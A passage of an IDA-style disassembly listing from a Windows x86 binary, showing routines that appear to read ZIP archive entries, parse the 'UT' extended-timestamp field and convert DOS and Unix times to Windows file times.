		mov	eax, 0FFFFFF9Ah
		jmp	short loc_42FCCE
; ---------------------------------------------------------------------------


loc_42FCC8:				; CODE XREF: HLXc:0042FCBFj
		mov	eax, [ebp-4]
		mov	eax, [eax+18h]


loc_42FCCE:				; CODE XREF: HLXc:0042FCAAj
					; HLXc:0042FCC6j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42FCE5
		mov	eax, 0FFFFFF9Ah
		jmp	short loc_42FD13
; ---------------------------------------------------------------------------


loc_42FCE5:				; CODE XREF: HLXc:0042FCDCj
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		mov	edx, [ecx+7Ch]
		mov	[ebp-4], edx
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_42FD01
		mov	eax, 0FFFFFF9Ah
		jmp	short loc_42FD13
; ---------------------------------------------------------------------------


loc_42FD01:				; CODE XREF: HLXc:0042FCF8j
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+5Ch], 0
		jnz	short loc_42FD11
		mov	eax, 1
		jmp	short loc_42FD13
; ---------------------------------------------------------------------------


loc_42FD11:				; CODE XREF: HLXc:0042FD08j
		xor	eax, eax


loc_42FD13:				; CODE XREF: HLXc:0042FCE3j
					; HLXc:0042FCFFj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42FD2D
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42FDD3
; ---------------------------------------------------------------------------


loc_42FD2D:				; CODE XREF: HLXc:0042FD21j
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		mov	edx, [ecx+7Ch]
		mov	[ebp-4], edx
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_42FD4C
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42FDD3
; ---------------------------------------------------------------------------


loc_42FD4C:				; CODE XREF: HLXc:0042FD40j
		mov	eax, [ebp-4]
		mov	ecx, [ebp-4]
		mov	edx, [eax+48h]
		sub	edx, [ecx+4Ch]
		mov	[ebp-0Ch], edx
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_42FD66
		mov	eax, [ebp-0Ch]
		jmp	short loc_42FDD3
; ---------------------------------------------------------------------------


loc_42FD66:				; CODE XREF: HLXc:0042FD5Fj
		mov	eax, [ebp+10h]
		cmp	eax, [ebp-0Ch]
		jbe	short loc_42FD76
		mov	ecx, [ebp-0Ch]
		mov	[ebp-10h], ecx
		jmp	short loc_42FD7C
; ---------------------------------------------------------------------------


loc_42FD76:				; CODE XREF: HLXc:0042FD6Cj
		mov	edx, [ebp+10h]
		mov	[ebp-10h], edx


loc_42FD7C:				; CODE XREF: HLXc:0042FD74j
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_42FD86
		xor	eax, eax
		jmp	short loc_42FDD3
; ---------------------------------------------------------------------------


loc_42FD86:				; CODE XREF: HLXc:0042FD80j
		push	0
		mov	eax, [ebp-4]
		mov	ecx, [eax+44h]
		mov	edx, [ebp-4]
		add	ecx, [edx+4Ch]
		push	ecx
		mov	eax, [ebp-4]
		mov	ecx, [eax+60h]
		push	ecx
		call	sub_42E66B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42FDAD
		or	eax, 0FFFFFFFFh
		jmp	short loc_42FDD3
; ---------------------------------------------------------------------------


loc_42FDAD:				; CODE XREF: HLXc:0042FDA6j
		mov	edx, [ebp-4]
		mov	eax, [edx+60h]
		push	eax
		push	1
		mov	ecx, [ebp-0Ch]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		call	sub_42E740
		add	esp, 10h
		cmp	eax, 1
		jz	short loc_42FDD0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42FDD3
; ---------------------------------------------------------------------------


loc_42FDD0:				; CODE XREF: HLXc:0042FDC9j
		mov	eax, [ebp-10h]


loc_42FDD3:				; CODE XREF: HLXc:0042FD28j
					; HLXc:0042FD47j ...
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FDD7	proc near		; CODE XREF: sub_42EDD8+24p
					; sub_42F7E0+3Cp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_42FDF4
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42FEA2
; ---------------------------------------------------------------------------


loc_42FDF4:				; CODE XREF: sub_42FDD7+11j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+7Ch]
		mov	[ebp+var_8], edx
		cmp	[ebp+var_8], 0
		jnz	short loc_42FE13
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42FEA2
; ---------------------------------------------------------------------------


loc_42FE13:				; CODE XREF: sub_42FDD7+30j
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+5Ch], 0
		jnz	short loc_42FE31
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [ecx+50h]
		cmp	eax, [edx+54h]
		jz	short loc_42FE31
		mov	[ebp+var_4], 0FFFFFF97h


loc_42FE31:				; CODE XREF: sub_42FDD7+43j
					; sub_42FDD7+51j
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx], 0
		jz	short loc_42FE57
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	dword_4331D4	; free
		add	esp, 4
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx], 0


loc_42FE57:				; CODE XREF: sub_42FDD7+60j
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+40h], 0
		jz	short loc_42FE78
		mov	edx, [ebp+var_8]
		add	edx, 4
		push	edx
		call	sub_42DB7C
		add	esp, 4


loc_42FE78:				; CODE XREF: sub_42FDD7+90j
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+40h], 0
		cmp	[ebp+var_8], 0
		jz	short loc_42FE95
		mov	ecx, [ebp+var_8]
		push	ecx
		call	dword_4331D4	; free
		add	esp, 4


loc_42FE95:				; CODE XREF: sub_42FDD7+AFj
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+7Ch], 0
		mov	eax, [ebp+var_4]


loc_42FEA2:				; CODE XREF: sub_42FDD7+18j
					; sub_42FDD7+37j
		mov	esp, ebp
		pop	ebp
		retn
sub_42FDD7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42FEBC
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42FF4E
; ---------------------------------------------------------------------------


loc_42FEBC:				; CODE XREF: HLXc:0042FEB0j
		mov	eax, [ebp+8]
		mov	[ebp-4], eax
		mov	ecx, [ebp+10h]
		mov	[ebp-8], ecx
		mov	edx, [ebp-4]
		mov	eax, [ebp-8]
		cmp	eax, [edx+8]
		jbe	short loc_42FEDC
		mov	ecx, [ebp-4]
		mov	edx, [ecx+8]
		mov	[ebp-8], edx


loc_42FEDC:				; CODE XREF: HLXc:0042FED1j
		push	0
		mov	eax, [ebp-4]
		mov	ecx, [eax+1Ch]
		add	ecx, 16h
		push	ecx
		mov	edx, [ebp-4]
		mov	eax, [edx]
		push	eax
		call	sub_42E66B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42FEFF
		or	eax, 0FFFFFFFFh
		jmp	short loc_42FF4E
; ---------------------------------------------------------------------------


loc_42FEFF:				; CODE XREF: HLXc:0042FEF8j
		cmp	dword ptr [ebp-8], 0
		jbe	short loc_42FF2D
		mov	ecx, [ebp+0Ch]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp-4]
		mov	eax, [edx]
		push	eax
		push	1
		mov	ecx, [ebp-8]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		call	sub_42E740
		add	esp, 10h
		cmp	eax, 1
		jz	short loc_42FF2D
		or	eax, 0FFFFFFFFh
		jmp	short loc_42FF4E
; ---------------------------------------------------------------------------


loc_42FF2D:				; CODE XREF: HLXc:0042FF03j
					; HLXc:0042FF26j
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_42FF4B
		mov	eax, [ebp-4]
		mov	ecx, [ebp+10h]
		cmp	ecx, [eax+8]
		jbe	short loc_42FF4B
		mov	edx, [ebp-4]
		mov	eax, [edx+8]
		mov	ecx, [ebp+0Ch]
		mov	byte ptr [ecx+eax], 0


loc_42FF4B:				; CODE XREF: HLXc:0042FF31j
					; HLXc:0042FF3Cj
		mov	eax, [ebp-8]


loc_42FF4E:				; CODE XREF: HLXc:0042FEB7j
					; HLXc:0042FEFDj ...
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FF52	proc near		; CODE XREF: sub_43007C+55Bp
					; sub_43007C+5B8p ...

var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		lea	eax, [ebp+arg_0]
		push	eax
		call	dword_433210	; gmtime
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+14h]
		add	edx, 76Ch
		mov	[ebp+var_1C], dx
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+10h]
		add	ecx, 1
		mov	[ebp+var_1A], cx
		mov	edx, [ebp+var_C]
		mov	ax, [edx+0Ch]
		mov	[ebp+var_16], ax
		mov	ecx, [ebp+var_C]
		mov	dx, [ecx+8]
		mov	[ebp+var_14], dx
		mov	eax, [ebp+var_C]
		mov	cx, [eax+4]
		mov	[ebp+var_12], cx
		mov	edx, [ebp+var_C]
		mov	ax, [edx]
		mov	[ebp+var_10], ax
		mov	[ebp+var_E], 0
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	edx, [ebp+var_1C]
		push	edx
		call	dword_433098	; SystemTimeToFileTime
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42FF52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FFCE	proc near		; CODE XREF: sub_43110B+6Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0
		jnz	short loc_42FFE8
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx+4], 0FFFFFFFFh
		jz	short loc_42FFF2


loc_42FFE8:				; CODE XREF: sub_42FFCE+Fj
		mov	eax, 1000000h
		jmp	loc_430076
; ---------------------------------------------------------------------------


loc_42FFF2:				; CODE XREF: sub_42FFCE+18j
		mov	edx, [ebp+var_10]
		add	edx, 138h
		push	edx
		push	104h
		call	dword_43302C	; GetCurrentDirectoryA
		push	offset asc_4378D4 ; "\\"
		mov	eax, [ebp+var_10]
		add	eax, 138h
		push	eax
		call	sub_431770	; strcat
		add	esp, 8
		cmp	[ebp+arg_8], 1
		jnz	short loc_43003D
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4330A4	; GetFileType
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 1
		jz	short loc_43003D
		mov	eax, 2000000h
		jmp	short loc_430076
; ---------------------------------------------------------------------------


loc_43003D:				; CODE XREF: sub_42FFCE+53j
					; sub_42FFCE+66j
		lea	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E429
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_430063
		mov	eax, [ebp+var_4]
		jmp	short loc_430076
; ---------------------------------------------------------------------------


loc_430063:				; CODE XREF: sub_42FFCE+8Ej
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_42EBC2
		add	esp, 4
		mov	ecx, [ebp+var_10]
		mov	[ecx], eax
		xor	eax, eax


loc_430076:				; CODE XREF: sub_42FFCE+1Fj
					; sub_42FFCE+6Dj ...
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_42FFCE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43007C	proc near		; CODE XREF: sub_430707+B9p
					; sub_4308E2+1F5p ...

var_1E8		= dword	ptr -1E8h
var_1E4		= dword	ptr -1E4h
var_1E0		= dword	ptr -1E0h
var_1DC		= dword	ptr -1DCh
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1CC		= dword	ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1B4		= byte ptr -1B4h
var_1B3		= byte ptr -1B3h
var_1B2		= byte ptr -1B2h
var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_8C		= byte ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= word ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= word ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_24		= dword	ptr -24h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1E8h
		mov	[ebp+var_1E8], ecx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jl	short loc_4300A1
		mov	eax, [ebp+var_1E8]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		cmp	edx, [ecx+4]
		jl	short loc_4300AB


loc_4300A1:				; CODE XREF: sub_43007C+13j
		mov	eax, 10000h
		jmp	loc_430701
; ---------------------------------------------------------------------------


loc_4300AB:				; CODE XREF: sub_43007C+23j
		mov	eax, [ebp+var_1E8]
		cmp	dword ptr [eax+4], 0FFFFFFFFh
		jz	short loc_4300C8
		mov	ecx, [ebp+var_1E8]
		mov	edx, [ecx]
		push	edx
		call	sub_42FDD7
		add	esp, 4


loc_4300C8:				; CODE XREF: sub_43007C+39j
		mov	eax, [ebp+var_1E8]
		mov	dword ptr [eax+4], 0FFFFFFFFh
		mov	ecx, [ebp+var_1E8]
		mov	edx, [ebp+arg_0]
		cmp	edx, [ecx+134h]
		jnz	short loc_43010E
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_43010E
		push	12Ch
		mov	eax, [ebp+var_1E8]
		add	eax, 8
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_431764	; memcpy
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_430701
; ---------------------------------------------------------------------------


loc_43010E:				; CODE XREF: sub_43007C+68j
					; sub_43007C+6Ej
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	loc_4301AB
		mov	edx, [ebp+var_1E8]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_4]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+108h], 0
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+10Ch], 0
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+110h], 0
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+114h], 0
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+118h], 0
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+11Ch], 0
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+120h], 0
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+124h], 0
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+128h], 0
		xor	eax, eax
		jmp	loc_430701
; ---------------------------------------------------------------------------


loc_4301AB:				; CODE XREF: sub_43007C+96j
		mov	ecx, [ebp+var_1E8]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		cmp	eax, [edx+10h]
		jge	short loc_4301CC
		mov	ecx, [ebp+var_1E8]
		mov	edx, [ecx]
		push	edx
		call	sub_42F313
		add	esp, 4


loc_4301CC:				; CODE XREF: sub_43007C+13Dj
					; sub_43007C+171j
		mov	eax, [ebp+var_1E8]
		mov	ecx, [eax]
		mov	edx, [ecx+10h]
		cmp	edx, [ebp+arg_0]
		jge	short loc_4301EF
		mov	eax, [ebp+var_1E8]
		mov	ecx, [eax]
		push	ecx
		call	sub_42F381
		add	esp, 4
		jmp	short loc_4301CC
; ---------------------------------------------------------------------------


loc_4301EF:				; CODE XREF: sub_43007C+15Ej
		push	0
		push	0
		push	0
		push	0
		push	104h
		lea	edx, [ebp+var_190]
		push	edx
		lea	eax, [ebp+var_58]
		push	eax
		mov	ecx, [ebp+var_1E8]
		mov	edx, [ecx]
		push	edx
		call	sub_42F2E4
		add	esp, 20h
		lea	eax, [ebp+var_64]
		push	eax
		lea	ecx, [ebp+var_78]
		push	ecx
		lea	edx, [ebp+var_8C]
		push	edx
		mov	eax, [ebp+var_1E8]
		mov	ecx, [eax]
		push	ecx
		call	sub_42F55B
		add	esp, 10h
		mov	[ebp+var_74], eax
		cmp	[ebp+var_74], 0
		jz	short loc_43024B
		mov	eax, 700h
		jmp	loc_430701
; ---------------------------------------------------------------------------


loc_43024B:				; CODE XREF: sub_43007C+1C3j
		push	0
		mov	edx, [ebp+var_78]
		push	edx
		mov	eax, [ebp+var_1E8]
		mov	ecx, [eax]
		mov	edx, [ecx]
		push	edx
		call	sub_42E66B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430272
		mov	eax, 800h
		jmp	loc_430701
; ---------------------------------------------------------------------------


loc_430272:				; CODE XREF: sub_43007C+1EAj
		mov	eax, [ebp+var_64]
		push	eax
		call	sub_431624
		add	esp, 4
		mov	[ebp+var_1C4], eax
		mov	ecx, [ebp+var_1C4]
		mov	[ebp+var_70], ecx
		mov	edx, [ebp+var_1E8]
		mov	eax, [edx]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_64]
		push	edx
		push	1
		mov	eax, [ebp+var_70]
		push	eax
		call	sub_42E740
		add	esp, 10h
		cmp	eax, [ebp+var_64]
		jz	short loc_4302D1
		mov	ecx, [ebp+var_70]
		mov	[ebp+var_1C8], ecx
		mov	edx, [ebp+var_1C8]
		push	edx
		call	sub_43161E
		add	esp, 4
		mov	eax, 800h
		jmp	loc_430701
; ---------------------------------------------------------------------------


loc_4302D1:				; CODE XREF: sub_43007C+231j
		mov	eax, [ebp+var_1E8]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [ecx+10h]
		mov	[edx], eax
		lea	ecx, [ebp+var_190]
		push	ecx
		mov	edx, [ebp+arg_4]
		add	edx, 4
		push	edx
		call	sub_431758	; strcpy
		add	esp, 8
		mov	eax, [ebp+var_24]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		and	ecx, 40000000h
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	byte ptr [ebp+var_88], cl
		mov	edx, [ebp+var_8]
		and	edx, 800000h
		neg	edx
		sbb	edx, edx
		neg	edx
		mov	byte ptr [ebp+var_19C],	dl
		mov	eax, [ebp+var_8]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	byte ptr [ebp+var_198],	al
		mov	ecx, [ebp+var_8]
		and	ecx, 2
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	byte ptr [ebp+var_6C], cl
		mov	edx, [ebp+var_8]
		and	edx, 4
		neg	edx
		sbb	edx, edx
		neg	edx
		mov	byte ptr [ebp+var_84], dl
		mov	eax, [ebp+var_8]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	byte ptr [ebp+var_194],	al
		mov	ecx, [ebp+var_8]
		and	ecx, 20h
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	byte ptr [ebp+var_4], cl
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+108h], 80h
		mov	eax, [ebp+var_88]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_4303A7
		mov	ecx, [ebp+var_194]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_4303BB


loc_4303A7:				; CODE XREF: sub_43007C+319j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+108h]
		or	al, 10h
		mov	ecx, [ebp+arg_4]
		mov	[ecx+108h], eax


loc_4303BB:				; CODE XREF: sub_43007C+329j
		mov	edx, [ebp+var_4]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4303DD
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+108h]
		or	ecx, 20h
		mov	edx, [ebp+arg_4]
		mov	[edx+108h], ecx


loc_4303DD:				; CODE XREF: sub_43007C+34Aj
		mov	eax, [ebp+var_6C]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4303FE
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+108h]
		or	edx, 2
		mov	eax, [ebp+arg_4]
		mov	[eax+108h], edx


loc_4303FE:				; CODE XREF: sub_43007C+36Bj
		mov	ecx, [ebp+var_19C]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_43041E
		mov	edx, [ebp+var_198]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_430433


loc_43041E:				; CODE XREF: sub_43007C+390j
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+108h]
		or	ecx, 1
		mov	edx, [ebp+arg_4]
		mov	[edx+108h], ecx


loc_430433:				; CODE XREF: sub_43007C+3A0j
		mov	eax, [ebp+var_84]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_430457
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+108h]
		or	edx, 4
		mov	eax, [ebp+arg_4]
		mov	[eax+108h], edx


loc_430457:				; CODE XREF: sub_43007C+3C4j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_40]
		mov	[ecx+124h], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_3C]
		mov	[eax+128h], ecx
		mov	edx, [ebp+var_48]
		and	edx, 0FFFFh
		mov	[ebp+var_80], dx
		mov	eax, [ebp+var_48]
		shr	eax, 10h
		and	eax, 0FFFFh
		mov	[ebp+var_68], ax
		lea	ecx, [ebp+var_60]
		push	ecx
		mov	dx, [ebp+var_80]
		push	edx
		mov	ax, [ebp+var_68]
		push	eax
		call	dword_433094	; DosDateTimeToFileTime
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_60]
		mov	[ecx+10Ch], edx
		mov	eax, [ebp+var_5C]
		mov	[ecx+110h], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_60]
		mov	[ecx+114h], edx
		mov	eax, [ebp+var_5C]
		mov	[ecx+118h], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_60]
		mov	[ecx+11Ch], edx
		mov	eax, [ebp+var_5C]
		mov	[ecx+120h], eax
		mov	[ebp+var_7C], 0


loc_4304E5:				; CODE XREF: sub_43007C+4D4j
		mov	ecx, [ebp+var_7C]
		add	ecx, 4
		cmp	ecx, [ebp+var_64]
		jnb	loc_4306B7
		mov	edx, [ebp+var_70]
		add	edx, [ebp+var_7C]
		mov	al, [edx]
		mov	[ebp+var_1B4], al
		mov	ecx, [ebp+var_70]
		add	ecx, [ebp+var_7C]
		mov	dl, [ecx+1]
		mov	[ebp+var_1B3], dl
		mov	[ebp+var_1B2], 0
		mov	eax, [ebp+var_70]
		add	eax, [ebp+var_7C]
		movsx	ecx, byte ptr [eax+2]
		mov	[ebp+var_1A4], ecx
		push	offset aUt	; "UT"
		lea	edx, [ebp+var_1B4]
		push	edx
		call	sub_4317B4	; strcmp
		add	esp, 8
		test	eax, eax
		jz	short loc_430552
		mov	eax, [ebp+var_1A4]
		mov	ecx, [ebp+var_7C]
		lea	edx, [ecx+eax+4]
		mov	[ebp+var_7C], edx
		jmp	short loc_4304E5
; ---------------------------------------------------------------------------


loc_430552:				; CODE XREF: sub_43007C+4C2j
		mov	eax, [ebp+var_70]
		add	eax, [ebp+var_7C]
		movsx	ecx, byte ptr [eax+4]
		mov	[ebp+var_1A0], ecx
		mov	edx, [ebp+var_1A0]
		and	edx, 1
		neg	edx
		sbb	edx, edx
		neg	edx
		mov	byte ptr [ebp+var_1A8],	dl
		mov	eax, [ebp+var_1A0]
		and	eax, 2
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	byte ptr [ebp+var_1B0],	al
		mov	ecx, [ebp+var_1A0]
		and	ecx, 4
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	byte ptr [ebp+var_1AC],	cl
		mov	edx, [ebp+var_7C]
		add	edx, 5
		mov	[ebp+var_7C], edx
		mov	eax, [ebp+var_1A8]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_430606
		mov	ecx, [ebp+var_70]
		add	ecx, [ebp+var_7C]
		mov	edx, [ecx]
		mov	[ebp+var_1B8], edx
		mov	eax, [ebp+var_7C]
		add	eax, 4
		mov	[ebp+var_7C], eax
		mov	ecx, [ebp+var_1B8]
		push	ecx
		call	sub_42FF52
		add	esp, 4
		mov	[ebp+var_1D0], eax
		mov	[ebp+var_1CC], edx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1D0]
		mov	[edx+11Ch], eax
		mov	ecx, [ebp+var_1CC]
		mov	[edx+120h], ecx


loc_430606:				; CODE XREF: sub_43007C+53Bj
		mov	edx, [ebp+var_1B0]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_430663
		mov	eax, [ebp+var_70]
		add	eax, [ebp+var_7C]
		mov	ecx, [eax]
		mov	[ebp+var_1BC], ecx
		mov	edx, [ebp+var_7C]
		add	edx, 4
		mov	[ebp+var_7C], edx
		mov	eax, [ebp+var_1BC]
		push	eax
		call	sub_42FF52
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	[ebp+var_1D4], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1D8]
		mov	[ecx+10Ch], edx
		mov	eax, [ebp+var_1D4]
		mov	[ecx+110h], eax


loc_430663:				; CODE XREF: sub_43007C+598j
		mov	ecx, [ebp+var_1AC]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_4306B7
		mov	edx, [ebp+var_70]
		add	edx, [ebp+var_7C]
		mov	eax, [edx]
		mov	[ebp+var_1C0], eax
		mov	ecx, [ebp+var_1C0]
		push	ecx
		call	sub_42FF52
		add	esp, 4
		mov	[ebp+var_1E0], eax
		mov	[ebp+var_1DC], edx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1E0]
		mov	[edx+114h], eax
		mov	ecx, [ebp+var_1DC]
		mov	[edx+118h], ecx


loc_4306B7:				; CODE XREF: sub_43007C+472j
					; sub_43007C+5F5j
		cmp	[ebp+var_70], 0
		jz	short loc_4306D5
		mov	edx, [ebp+var_70]
		mov	[ebp+var_1E4], edx
		mov	eax, [ebp+var_1E4]
		push	eax
		call	sub_43161E
		add	esp, 4


loc_4306D5:				; CODE XREF: sub_43007C+63Fj
		push	12Ch
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+var_1E8]
		add	edx, 8
		push	edx
		call	sub_431764	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1E8]
		mov	ecx, [ebp+arg_0]
		mov	[eax+134h], ecx
		xor	eax, eax


loc_430701:				; CODE XREF: sub_43007C+2Aj
					; sub_43007C+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn	8
sub_43007C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430707	proc near		; CODE XREF: HLXc:0043139Cp
					; HLXc:0043141Cp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+arg_4]
